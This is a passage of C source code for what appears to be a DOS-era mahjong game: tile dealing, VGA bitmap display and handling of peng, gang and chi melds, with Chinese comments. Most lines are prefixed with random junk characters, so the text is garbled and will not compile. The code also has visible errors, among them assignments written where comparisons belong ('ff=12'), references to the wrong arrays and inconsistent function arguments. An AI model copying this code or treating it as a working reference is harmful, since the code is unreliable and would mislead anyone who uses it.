* M+ n# b# ?* D2 b" V; @* ]0 Eisthree(test,tt-2);
}
}
. q; Z' k3 G  @8 d$ z! Felse if(tt=12)
8 @8 u' u9 p# n3 C7 r. `6 ^$ fisthree(pt,tt);
; ?6 N; S* g9 celse if(tt=14)
for(i=0;i&lt;13;i++)
* u4 p$ B6 B. d9 h+ |{
for(j=0;j&lt;2;j++)
, A$ `6 a" ]. ?, \{test[j]=pt[i+j];
}
if(istwo(test))
{ ill=0;
" ~) k% \2 W, k/ V3 c; \: G0 s# o# Tfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==14)
/ i& b. {9 i- E. Rbreak;
9 A5 Z/ r  _' F- i}
7 g' o1 A- E3 k0 htest[ill++]=pt[kl];
}
isthree(test,tt-2);
}
}
, I2 u( w+ r7 Lif(ii==2)
istwo(pi);
. q# V( m' n) zelse if(ii==3)
/ @0 B5 F( `/ e& P' ~isthree(pi,ii);
9 |5 ~$ k* w  D" Y, felse if(ii==5)
/ O$ X1 o5 |0 k7 g; i/*pi[5]原始牌数组，假设已经升序排列*/
- @+ K5 s) ^7 q/*test[3]用来放置测试牌的数组*/
for(i=0;i&lt;4;i++)
6 u) O; ?/ }. }( \" Q( I{
for(j=0;j&lt;2;j++)
/ K- G* l6 b  F( k{test[j]=pi[i+j];
}
if(istwo(test))
5 n( \! x  x$ I. _1 x5 g: j{ ill=0;
2 s! }* A- o* S. [: N1 w: M% W! Ifor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
{if(kl==i)
8 G' p2 z3 g: P) x$ A" k  c+ |6 e) C{
% H* @. z8 L. x1 `; b3 ?, fkl=kl+2;
6 G8 N, {. ]$ @# Z7 ^! ?9 x& bif(kl==5)
% U. _. c8 I1 l4 {" b, @5 Abreak;
3 t$ W. O* B$ x9 v. f* M}
test[ill++]=pw[kl];
}
isthree(test);
}
}
; ~4 a, k% X8 J. Y' Y4 l1 z% B; ]else if(ii==6)
isthree(pi,ii);
/ Q" p" a# `# N% B* L# Helse if(ii==8)
for(i=0;i&lt;7;i++)
{
for(j=0;j&lt;2;j++)
{test[j]=pi[i+j];
( Y; k) c: Y4 p7 C$ h  u: h}
9 G5 I9 U0 h/ U. pif(istwo(test))
{ ill=0;
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
{if(kl==i)
{
* p* Q. Z$ x' P3 ~' _kl=kl+2;
1 g/ W- B. p% d% ?/ U4 E$ P' H; wif(kl==8)
break;
}
+ M4 A4 E) {9 ^( v% P; Ktest[ill++]=pi[kl];
- B4 |' K' h, \0 g( L2 o}
& t: L! |& ]5 U, G' s" xisthree(test,ii-2);
. x" i( Z' ?# P8 I6 K}
( Y& p2 E" [- M8 V# [9 Y7 s& d}
% N& q0 R- n- W2 N) a( a7 S$ eelse if(ii==9)
* n$ ]+ C6 R+ `8 t/ h$ C2 M# m" risthree(pi,ii);
6 X3 x- ]0 I: o: L9 jelse if(ii==11)
for(i=0;i&lt;10;i++)
{
8 d: I. M  u# v1 xfor(j=0;j&lt;2;j++)
( ?# z+ D! _& ~: U0 F  q{test[j]=pi[i+j];
  {) w0 ~# P$ J: U7 P}
8 c* `$ a$ X1 }1 b5 x8 Lif(istwo(test))
. f8 ]7 x( Q1 a' T9 \9 ?{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
# Z4 m7 }$ v# y9 t% C9 R{if(kl==i)
  \8 o6 ]$ M/ i* b2 q3 O{
kl=kl+2;
if(kl==11)
6 k& _/ D& F( qbreak;
}
6 N/ y, o" X4 t6 Z  t7 itest[ill++]=pi[kl];
}
isthree(test,ii-2);
6 M; `5 s: e. r. J}
+ F3 L; z1 `: Q/ X, y& _* R, ?}
, ?& O& q; m2 }) `9 h; i9 oelse if(ii=12)
7 f! }) z) H$ D4 L+ P1 b5 Iisthree(pi,ii);
else if(ii=14)
% b' u, {# l- {* V  c& U6 tfor(i=0;i&lt;13;i++)
; g. U- ?" o+ O+ g1 Z$ a{
4 |- V, v/ F7 O* @; a1 p+ m' ofor(j=0;j&lt;2;j++)
3 Z8 O  |6 D& m{test[j]=pi[i+j];
}
if(istwo(test))
{ ill=0;
% J9 w/ y2 Y7 T' Mfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
0 r4 N, V" _( D( }{if(kl==i)
{
# c/ d+ T% O/ ?9 o8 @+ Q$ ekl=kl+2;
# G5 e2 W" P& \. Y$ S7 }, e* O, uif(kl==14)
break;
}
test[ill++]=pi[kl];
}
; r% ^1 U! k7 s) h5 Yisthree(test,ii-2);
}
  k8 |. d, F# F1 F' }9 W}
if(ff==2)
istwo(pf);
( |, x9 q. x( w/ O- X/ o( Felse if(ff==3)
! D8 j# ]& X) X5 z: e8 \- ^isthree(pf,ff);
else if(ff==5)
/*pf[5]原始牌数组，假设已经升序排列*/
1 B. }5 l5 F; \# p9 q) z2 T5 N6 P/*test[3]用来放置测试牌的数组*/
8 w  l/ {- N7 gfor(i=0;i&lt;4;i++)
+ o4 H; G" d, w* o{
for(j=0;j&lt;2;j++)
1 X7 I6 C8 h: r' T( J9 V. t" ~3 B{test[j]=pf[i+j];
}
0 n" w1 @$ r0 s( ?* G& a/ K' dif(istwo(test))
{ ill=0;
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
{if(kl==i)
{
# n" _6 q7 ]6 M0 \$ |  L+ xkl=kl+2;
5 F8 h2 N$ o/ ~' M: Kif(kl==5)
* v9 a7 J, F5 E* [/ j$ E! w6 Lbreak;
}
# G- F0 K! E  r# R4 z+ @test[ill++]=pf[kl];
}
' u- \7 W, {( v. Aisthree(test);
0 ~; l# q3 j3 w6 Q}
}
: }- X8 P7 r0 \% X9 `0 `$ lelse if(ff==6)
# q, p5 r7 a# gisthree(pf,ff);
3 G  K' N+ C: j; p1 N& k8 o& ?else if(ff==8)
" ?( [2 `" n* ^7 d7 @3 Hfor(i=0;i&lt;7;i++)
{
for(j=0;j&lt;2;j++)
+ h- E$ a7 K# b3 x) Y5 ^{test[j]=pf[i+j];
- [( S6 a- Z8 u+ r! n6 n! G}
' ^6 U7 I7 ]# C# U1 T6 S5 Uif(istwo(test))
- Y& c0 r0 T, ^( K% ^# l{ ill=0;
$ T, R0 \# z# @% i& o! pfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
+ |# }3 o; u9 i; v" X! y" D2 j! Eif(kl==8)
; |$ _/ Z% ]( Z# I# D( J  vbreak;
% {' d: X, f- i}
, n4 B9 |' s2 A' S6 mtest[ill++]=pf[kl];
  a# R6 V. V" c}
isthree(test,ff-2);
}
" \1 u) g+ s3 b7 D2 h}
else if(ff==9)
isthree(pw,ww);
else if(ff==11)
for(i=0;i&lt;10;i++)
{
. @" X( c* i5 _& Qfor(j=0;j&lt;2;j++)
{test[j]=pf[i+j];
}
5 U) x, z  O: iif(istwo(test))
{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
1 v1 y' C( b7 t' j2 g( Dkl=kl+2;
if(kl==11)
break;
}
, G' y8 h& D4 A- V. e6 i/ r# gtest[ill++]=pf[kl];
3 \8 s/ I" L: }! y/ Z" o}
" w' U7 U) H5 I( o- }% Histhree(test,ff-2);
}
- F7 Q! M; _0 S}
1 e/ ~. H- Z! O$ I) i2 }else if(ff=12)
& m' v6 l! u4 k+ r6 x' Eisthree(pf,ff);
- ?# p- D$ E1 R' d7 n3 celse if(ff=14)
8 T8 c" u1 {: W- V  _% Ufor(i=0;i&lt;13;i++)
. y  C) p. V8 j5 l% M1 q{
% s! i; W% Z& Y0 o: ~. n& A5 afor(j=0;j&lt;2;j++)
{test[j]=pf[i+j];
, ]" l6 _  J6 Z$ V}
if(istwo(test))
{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
# O3 `6 B0 w  x5 m{if(kl==i)
{
kl=kl+2;
' a' W- h* I# d6 L! C$ m& C+ tif(kl==14)
break;
}
8 I) X# `: z2 ^9 Ltest[ill++]=pf[kl];
}
isthree(test,ff-2);
1 D) _' E$ Q4 c2 t$ Q}
" T5 B/ d# o* x3 @8 ^6 }2 z}
}
6 `  W# ^) g2 kvoid main(void)
{
" T5 p  `/ t% f: c" T( SFILE *bmp;
' Q7 Y: E; M- K/ @# W% R( Rstatic char *name[2]={"ff.bmp","logo.bmp"};
, P  B6 E# G) h! _' E/ }char *p;
- c# q" f# G% K5 k3 }& oint *lingshi;
int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
int every=0,w=0,x1,x2,y1,y2,every1=0;
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
BYTE palette[256][3];
SETVGA;
getch();
8 B& l' e. X2 E. k1 J, m$ S6 T# [while(t--)
5 g' P9 p8 f0 ]; d{
7 B1 e5 C( R  Ybmp=fopen(name[t],"rb");
fseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
/ ?! S" X, |2 Y. i{
palette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
3 f, D) d( h; h* P' ypalette[0]=fgetc(bmp)&gt;&gt;2;
, C, \3 t. N" {3 A" V" Jfgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
2 j9 J4 Q; A1 V" T5 W}
' D; D& ]0 ^- d4 qfor (y=0;y&lt;200;y++)
for(x=0;x&lt;320;x++)
pokeb(0xa000,y*320+x,fgetc(bmp));
fclose(bmp);
getch();
}
9 X6 A2 \! s0 S( `: w/ mgetch();
5 h! |& F$ P. {1 }* B1 c9 o9 IfillRectangle(0,0,320,200,0);
; e* J1 Z9 {& W* c# q% Y) ^getch();
randomize();
me.m=onetothirteen;
while(me.m&gt;0) /*先循环，给自己拿牌*/
/ K/ H/ R+ s& P5 G{

temp=random(136);
0 b; F+ r4 q3 i! ?) M2 j- }if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
{
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
me.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
3 C3 X, o# p) U( [me.pp[n].number=temp; /*第几张，用来排序*/
m[temp].data2=1; /*判断牌是谁的*/
' Y5 `% U7 H1 Z7 n' rkk=1;
}
if(kk==0) /*判断如果又选择了，就从新再选*/
{
% E0 t  k+ O/ {( hme.m++;
! w" v4 v' n% Q( ~0 T- un--;
}
/ x) ~) S) D; |me.m--;
n++;
2 L) ?2 W. }, @2 n+ M% dkk=0;
9 F# s! G2 O6 f. [" n: w% Z/ ~2 a, `}
7 Y. S/ K- j; ]& pme.m=12;
: J. H2 {) Q1 O8 e; R( imelipai(); /*理牌*/

n=13;
while(l&lt;n)
{
% T. P3 I9 T* ~; P5 M2 r: l2 Nz=z+20;
showbmp(l);
. `/ }/ F  W- Z4 }$ L) h5 f! [l++;

3 |2 u- K& f. r, f3 |8 \}
randomize();
& ?; g0 G" @# Z2 b7 s3 w) @computer.m=oneorthirteen;
n=0;
while(computer.m&gt;0) /*循环，给对方拿牌*/
{
temp=random(136);
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
0 J5 ?' M# \  S2 S  C/ _{
0 x/ k  q) z9 u7 V, bcomputer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
computer.pp[n].number=temp; /*第几张，用来排序*/
" a* [! ~1 R# L$ M! R( l( @/ A9 |m[temp].data2=2; /*判断牌是谁的，2为电脑*/
: ?( P( s( Y: a; ]& Dkk=1;
}
  E  W- E& M9 c/ t# gif(kk==0) /*判断如果又选择了，就从新再选*/
7 ~0 h2 @0 M  L9 \, K% V{
computer.m++;
2 V- ~) V& i8 E1 k6 ^% ^& `7 o8 @n--;
}
computer.m--;
; i! q/ C, F1 i  gn++;
kk=0;
}
computer.m=12;
comlipai(); /*电脑理牌*/
n=13;
while(ll&lt;n)
{
zy=zy+20;
# N' \9 i/ R- J+ Y' C* G' l4 Q' \showybmp(ll);
  A/ H! E: T4 F+ V3 U; r- y2 Yll++;
! B% D' P) W0 L* k}
" _: _/ F- Y: P5 A
2 Y; G; A, L. q) fz=54400;
while(key!=ESC)
{
# C; @+ \2 S* Y1 u  s
keyy=bioskey(0);
9 N3 }( g. Q8 d8 ]( g  e1 Vif(keyy==LEFT)
: F( a. Y, F& \1 R{ w=1;
if(every==0)
{
" z3 _' N+ `+ d  ?  ~$ F9 S4 gevery=1;
z=54440-5*320;

}
( C" j7 g8 \( V4 G$ J' {zz=zz+5*320;
showbmp(every);
if(every==0)
/ L9 i+ t/ ^5 A3 @$ V2 _6 r: r{
x1=20;
y1=165;
0 I5 d( r. }! P8 V/ YfillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==1)
{
x1=40;
! X' U4 \5 Q. i( E7 i8 p: E1 T2 ly1=165;
; B2 y! d  q5 ~3 v& s% \fillRectangle(x1,y1,x1+20,y1+4,0);
}
$ R) b' T0 ~& {! K0 t% F& R  mif(every==2)
{
, U0 v: _0 B2 v, ]x1=60;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
  g3 f1 K, Z+ U% @3 }}
if(every==3)
7 G! G) Y1 N/ U5 ?1 Z{
6 k; t! P: {* `, Q! u# bx1=80;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==4)
3 ?  ?: ?5 T$ W- O2 o/ T{
. }: L5 Y) d/ {$ t3 y$ C) fx1=100;
y1=165;
9 B# K: |" A8 J0 ]) lfillRectangle(x1,y1,x1+20,y1+4,0);
}
5 _: J/ r6 Z& m  V6 t! A9 gif(every==5)
  f/ _7 m8 m* n  l4 e{
4 t% _( [7 P. u: a# B  Q# z" sx1=120;
, K7 I+ G4 o3 }( Ly1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==6)
/ ]0 |$ p2 X9 A7 T4 F2 F{
x1=140;
7 w' N8 h" i4 F  @  g6 ny1=165;
$ {% u) i% A+ Z; E5 E. jfillRectangle(x1,y1,x1+20,y1+4,0);
* ~6 K( i4 T& k8 d4 U0 q+ _" M}
# s2 ^' D) a/ v! R5 u4 Jif(every==7)
) v* N2 v) ]' H; N& @{
x1=160;
# Q; M; B6 G% p# C3 u% K; D' Ay1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
# O, F8 p+ O7 l! M}
if(every==8)
{
x1=180;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
# X/ k3 P) S$ N. `) r}
0 r; B4 s+ g7 w2 |+ |; zif(every==9)
{
7 T; h0 X& O9 K: ~$ U# P: t- {! Qx1=200;
8 A9 z* k. s: V  o' cy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
6 g0 Z1 i' e2 K0 W}
6 D% ^- F. n/ {, @3 T) Dif(every==10)
. S4 g. O! z( W& r{
x1=220;
y1=165;
$ G6 p* `/ q: ^* X# Z5 c  m$ LfillRectangle(x1,y1,x1+20,y1+4,0);
: I% x7 s1 {/ v1 P" ?0 o3 ?8 I}
6 @/ y% x' a) V5 m; R6 I! x0 gif(every==11)
{
$ A& V6 _" {" ~. H6 X8 L! Mx1=240;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
& @% q. s# E1 v2 E# ^0 g! W& h}
if(every==12)
{
x1=260;
8 _) A- p0 ~: L9 _8 g0 jy1=165;
' o* d9 n* A2 Z* yfillRectangle(x1,y1,x1+20,y1+4,0);
% {/ N/ [. Z7 v/ T) A' k}
zz=0;
every--;
2 _3 W+ W, g$ ~3 l) z: Kz=z-20;
}
if(keyy==RIGHT)
: I( V) H2 j) `( J. b{ if(w==0)
) L  h% q5 [% _: H4 B2 ^{
0 a/ M: |' r3 Z" R( Y& Iz=54440-5*320;
2 ]6 g( H7 n% X$ M2 d" {0 `# a$ Mz=z-20;
4 s1 b/ `. J" K. v/ Nw=1;
) u5 X' e" k' ]6 g6 h}
( z& e" ]. a/ Q. G4 Sif(every==12)
{
every=11;
8 |5 A1 `2 v; A5 G  ]z=54640-5*320;
) {) D  V/ {  H: V* p}
zz=zz+5*320;
$ V: d* z0 u+ ushowbmp(every);
& N  l+ P" @9 C6 {if(every==0)
{
x1=20;
y1=165;
. o! X2 G  S7 |8 j/ z/ T- p7 Y3 |fillRectangle(x1,y1,x1+20,y1+4,0);
1 w1 ^# j0 W$ i6 G5 E7 p( Q, H}
if(every==1)
{
7 e1 L0 P- L, o/ z" w  ?4 P; ix1=40;
y1=165;
3 p4 L3 s: `( P# yfillRectangle(x1,y1,x1+20,y1+4,0);
+ E$ R- F+ q7 @}
if(every==2)
$ _4 K) b7 ~$ n: H( G3 x1 S{
- q# s! [8 w% Kx1=60;
y1=165;
5 e2 e* v, \! v  V: j, K, QfillRectangle(x1,y1,x1+20,y1+4,0);
0 \9 U7 M3 F: E: v}
7 ~" W2 V% d8 Rif(every==3)
{
7 f5 M* S2 \0 i1 [* j6 J, ?9 b) W1 ~x1=80;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
4 A6 _/ L8 ^1 v' V: _}
+ E) x" C7 P* r1 x+ r5 `- oif(every==4)
{
0 K/ c6 U3 V4 ]+ px1=100;
  s! u% x7 @$ Uy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
1 `% A$ e9 S$ x- Jif(every==5)
3 s# T# H8 f  |8 z& z. `4 a{
- R( q7 {; D. K7 J" g9 ?7 gx1=120;
3 s  e5 q: i# O( ^' Dy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
" X3 J* a) b$ K1 A0 F}
9 }: G( `8 f/ s6 C+ ~) P0 Rif(every==6)
{
* K3 g+ C1 q; ^2 q# a8 tx1=140;
0 O$ F6 g) J2 ]7 C0 vy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
$ C& p- W) b  S8 _5 V3 q5 P}
3 `4 |  S" j8 w  f0 q# eif(every==7)
{
& u& U  m* m5 H/ U1 E" u- E% hx1=160;
( @0 F6 ?5 Q, m- R8 x# M6 V1 [y1=165;
2 P# E9 Z; y) @$ l% xfillRectangle(x1,y1,x1+20,y1+4,0);
}
) `" h, h2 Y* T) V" Pif(every==8)
{
+ \' t7 h2 i5 {8 I6 J9 [# V9 i* Vx1=180;
' A' r! |/ o3 u# c# Q  N9 by1=165;
2 l- K' u1 E( Z$ C) pfillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==9)
6 }. l/ y3 o# M: N  E8 _: R3 j{
# |* x, ~) i, n- k. p' ax1=200;
8 F4 F5 q* _0 T, B9 Xy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
7 V& @2 U0 I8 h9 F* S7 d" Wif(every==10)
{
x1=220;
y1=165;
9 F, ^3 s% x" {) dfillRectangle(x1,y1,x1+20,y1+4,0);
4 ]: r/ y, l7 d$ p$ U}
if(every==11)
{
x1=240;
y1=165;
0 T4 R' t1 ~) \, e9 i8 ifillRectangle(x1,y1,x1+20,y1+4,0);
; B& w% v5 D1 C) w, v" d2 c$ ]}
if(every==12)
{
x1=260;
y1=165;
; ?$ z; X! ?+ e# {+ C; I, `fillRectangle(x1,y1,x1+20,y1+4,0);
6 F+ [8 X: B8 x}

zz=0;
every++;
! `- L2 c7 O  h9 D6 n# S0 jz=z+20;
  n& C! X$ Q/ N$ M2 M! [}
6 d" p* b; w* L: e( Oshowbmp(every);
key=keyy;
$ D# m# t& w/ ?; h2 }$ b8 Aif(keyy==ENTER)
{
! `* n. ]5 v  b: b- Mrgzn(every); /*********************/
if(sing==1) /*如果可以乓，做相应的处理*/
! J( f; l) A6 M3 L9 `6 W# {{
% s% ~7 _; }' r3 y( t4 [  M) J1 kkkk=0;
6 w, ~: V* F4 Q  D2 akkkk=0;
while(kkk&lt;=computer.m)
{
- X8 d4 K4 O7 l) o9 A# m' W5 |) `if(computer.pp[kkk].p!=1)
6 R0 D. `: Q( \* ?' E9 V0 J7 O{
5 {, P- Z5 J3 f4 X% D; pcomp.pp[kkkk].k=computer.pp[kkk].k;
6 K' P: e: F; V5 A) kcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
" }! F9 |: b0 c! Y- d, ecomp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
& N( h6 N. D; T5 G7 D% _+ M}
& i- d6 @8 L% {) Velse
{
m[computer.pp[kkk].number].data1=1;
dwei=computer.pp[kkk].number;
6 s; f6 l  Q* Y' scomputer.pp[kkk].p=0;
}
% k# D! b; ^6 b7 U  S- ?kkk++;
}
ll=0;
$ x0 M$ C6 ]' X# e
8 H0 c/ Z4 r2 t  X3 C; Ewhile(ll&lt;3)
{ zl=zl+20;
bmpp(dwei); /*显示乓的牌*/
/ Z; E( M" q) G1 s* t; n6 Nll++;
. R# |. k5 ]# b# w- T3 k}

zl=zl+9600-60;
kkk=0;
computer.m=computer.m-2;
9 m! A/ A: `6 X% ewhile(kkk&lt;=computer.m)
{
computer.pp[kkk].k=comp.pp[kkk].k;
$ X! D  o6 e7 L- A4 K# P- pcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
& l3 A' o4 i7 A5 {" Bkkk++;
/ |/ v" M& i9 n7 h}
ll=0;
temp=random(computer.m); /*出牌等待完善*/
2 d* c: C  a8 B. Xzyy=zyy+9280+20;
0 g* r- O+ q8 X8 u6 C( c. d& ^4 F) eshowcbmp(temp);
  u7 H( [5 f) p( \8 J/ @% q. ezyy=zyy-9280;
/*****/
rgznme(temp);
  ^; [" q2 H4 N( E/ `" r* upanduan();
4 A1 a% K" \% F6 O) j5 Nif(me.m==0)
if(second==1 &amp;&amp; threes==0)
4 N5 q1 j3 X; a1 Eprintf("you win!");
if(me.m==3)
if(second==1 &amp;&amp; threes==1)
( a/ q- s1 ?! R5 b1 dprintf("you win!");
# O( n; l( A7 r  h$ i5 h+ [if(me.m==6)
8 w! G( D5 z% O2 |2 }if(second==1 &amp;&amp; threes==2)
printf("you win!");
6 G' P: J  l2 {, G9 Aif(me.m==9)
if(second==1 &amp;&amp; threes==3)
printf("you win!");
4 S6 {3 k5 |% Y0 J7 Gif(me.m==12)
if(second==1 &amp;&amp; threes==4)
printf("you win!");
5 ?' C* l6 D7 @9 G- V1 C0 W0 @
5 X, X3 O1 x- u3 Ckkk=0;
6 f6 h: J$ Q0 x; z9 ukkkk=0;
6 K/ F8 D3 C, H4 M' A, Iwhile(kkk&lt;=computer.m)
{
; C' }& h  \' `  k6 fif(kkk!=temp)
{
0 i, ]) p& [; ]. scomp.pp[kkkk].k=computer.pp[kkk].k;
1 Y5 K# \5 D7 E& S. Ecomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
comp.pp[kkkk].number=computer.pp[kkk].number;
7 c# T; b8 `" s/ L6 {$ @kkkk++;
}
  Y: d6 D9 ]) B5 `else
m[computer.pp[kkk].number].data1=1;
kkk++;
9 o: a6 E7 U% l}
kkk=0;
computer.m=computer.m-1;
5 n  A% B" N2 }2 {; Dwhile(kkk&lt;=computer.m)
{
% Y$ P& O9 v3 @! F* jcomputer.pp[kkk].k=comp.pp[kkk].k;
. U; Y% B3 V+ ]3 t& ^computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
" T! O' \' g3 o$ m4 X6 L0 }8 wcomputer.pp[kkk].number=comp.pp[kkk].number;
- k1 [1 ], H& X' S; n% _" @3 A) ckkk++;
}
" y/ s' k4 v6 v* h5 Z* ]* P6 B( pfillRectangle(0,0,320,30,0);
n=computer.m;
ll=0;
* e* [- R* V2 d, B4 Izy=0;
while(ll&lt;=n)
6 o3 n, C/ O, k2 W* `7 A* ?, J9 x8 f7 l1 j{
zy=zy+20;
- X% H7 |# m" N  p5 E! K9 j  n: |showybmp(ll);
, g& v' p8 z# S! s  |ll++;
& m( Q6 F' N6 P}
  l9 s# t; O. l, F0 Y; n3 ^ll=0;
getch();
sing=0;
8 \3 w* M' |$ C$ {& u, v: tsing1=1;
& l! ~  m9 N" q, I& v4 I8 }}

" U: ^) P0 ^: u+ ?$ |7 }) h+ ~+ W" gif(sing==2) /*如果可以杠的做相应处理*/
/ T# x3 G; E6 }{
* |; {/ F! q" \' {0 Ikkk=0;
  @/ d" {9 I# vkkkk=0;
' n' a, R. O) s# U/ swhile(kkk&lt;=computer.m)
{
if(computer.pp[kkk].g!=1)
; Z; W  j. \' \& x/ S' l{
comp.pp[kkkk].k=computer.pp[kkk].k;
2 v/ ?4 y7 V* u/ V" w; u6 n# ycomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
comp.pp[kkkk].number=computer.pp[kkk].number;
/ `% C  r6 ?, pkkkk++;
}
else
: ~3 a: a- K+ I{
m[computer.pp[kkk].number].data1=1;
dweig=computer.pp[kkk].number;
# S+ y  ^1 O' I& N% U% v, G' Acomputer.pp[kkk].g=0;
}
: `* ?5 V6 x* `  H2 Rkkk++;
}
& m' t  |, n4 oll=0;
4 D7 @/ D# M7 S9 ~
' D& t7 L, d9 u# Z6 _; y3 ^" Kwhile(ll&lt;=3)
{ zl=zl+20;
. V% i. {. _5 s/ K! Y: S9 ^  d( |bmpp(dweig); /*显示杠的牌*/
ll++;
! C( W+ G2 n2 t- l* d}
zl=zl+9600-60;
kkk=0;
computer.m=computer.m-3;
while(kkk&lt;=computer.m)
7 U6 Q" I5 A* q) \2 Z. h! q4 I$ e{
! R0 W  _' A: \; H7 X3 B5 [; ucomputer.pp[kkk].k=comp.pp[kkk].k;
5 w# w9 r$ {# ]+ P' W2 pcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
! N" A4 H3 ]- ^9 Pkkk++;
}
kk=0;
* {5 F2 j6 t) q4 |) H  dcomputer.m++; /*加一个牌的容量*/
while(kk!=1)
{
. Y6 m& h. V. C0 M" Htemp=random(136); /*出牌*/
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
: \. M9 E+ M2 F. z{
" G0 x# N, ]; scomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
) \0 `  ^. f1 M1 W( G4 [$ Acomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
computer.pp[computer.m].number=temp; /*第几张，用来排序*/
m[temp].data2=2; /*判断牌是谁的，2为电脑*/
. k$ i4 ]. M" R3 d6 l' @9 kkk=1;
}
, B$ u/ {% l: r- B3 l) a}
comlipai();
temp=random(computer.m); /*出牌，等待完善*/
zyy=zyy+9280+20;
showcbmp(temp);
zyy=zyy-9280;
/*****/
2 V) R" W5 G' t& K5 j( a& drgznme(temp);
2 `' L/ `- ^' D! [. Dpanduan();
if(me.m==0)
3 k( U: ~. R  Y; ?% v) ?if(second==1 &amp;&amp; threes==0)
printf("you win!");
3 G* E; p0 e4 d# N4 xif(me.m==3)
if(second==1 &amp;&amp; threes==1)
printf("you win!");
if(me.m==6)
if(second==1 &amp;&amp; threes==2)
printf("you win!");
0 _; O/ Y' ^4 U: P2 Iif(me.m==9)
8 |8 [6 Q2 i' m" R. tif(second==1 &amp;&amp; threes==3)
printf("you win!");
if(me.m==12)
. K, O. f8 b: d/ g6 Dif(second==1 &amp;&amp; threes==4)
printf("you win!");
7 O& l2 R( E, r
kkk=0;
kkkk=0;
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
! M+ {: _. o8 [2 a{
/ O% o' _1 ?  ?if(kkk!=temp)
{
6 }1 z& Y. m% }5 `comp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
comp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
) \! d5 z/ ^# S7 @+ T4 d, `}
1 H9 J" Q4 {* ^% A& f( c! delse
8 \6 B' ?9 |# M" M1 pm[computer.pp[kkk].number].data1=1;
0 w. I' L0 T0 b7 {kkk++;
}
kkk=0;
: r* R( z: k: zcomputer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
- s- d! l+ G' D9 \3 R4 ^2 l# _while(kkk&lt;=computer.m)
7 f4 @8 r: G9 Z* q1 j{
computer.pp[kkk].k=comp.pp[kkk].k;
4 ]- L) M# \" F' y: c5 @# w" Y0 [$ ^- zcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
kkk++;
/ t. l! L8 j2 T% ?$ v% Q+ a}
fillRectangle(0,0,320,30,0);
' Z* V8 i; A" R% K) `ll=0;
$ n6 {. G0 S5 T+ h' c5 i% c  Vzy=0;
while(ll&lt;=computer.m)
{
  W9 n2 w  E# f% q  q: G. m: _zy=zy+20;
+ J) j2 c4 O) p4 ^showybmp(ll);
ll++;
}
$ [0 y) _3 M# W, f4 Osing=0;
sing1=1;
. D6 y7 S1 d) `; t' f/ ^}
if(sing==7) /*如果可以吃的，做相应处理*/
4 J  M5 t& j3 T8 K{ nn=0;
) i5 C7 w1 T! V9 S+ nkkk=0;
8 @) ?) O- O: n. g7 fkkkk=0;
while(kkk&lt;=computer.m)
{
! U4 G5 A+ x( Q5 ~3 Mif(computer.pp[kkk].c!=1)
  ]& U7 O. C! y3 y{
comp.pp[kkkk].k=computer.pp[kkk].k;
1 C- I# q% l% `6 p. {comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
comp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
}
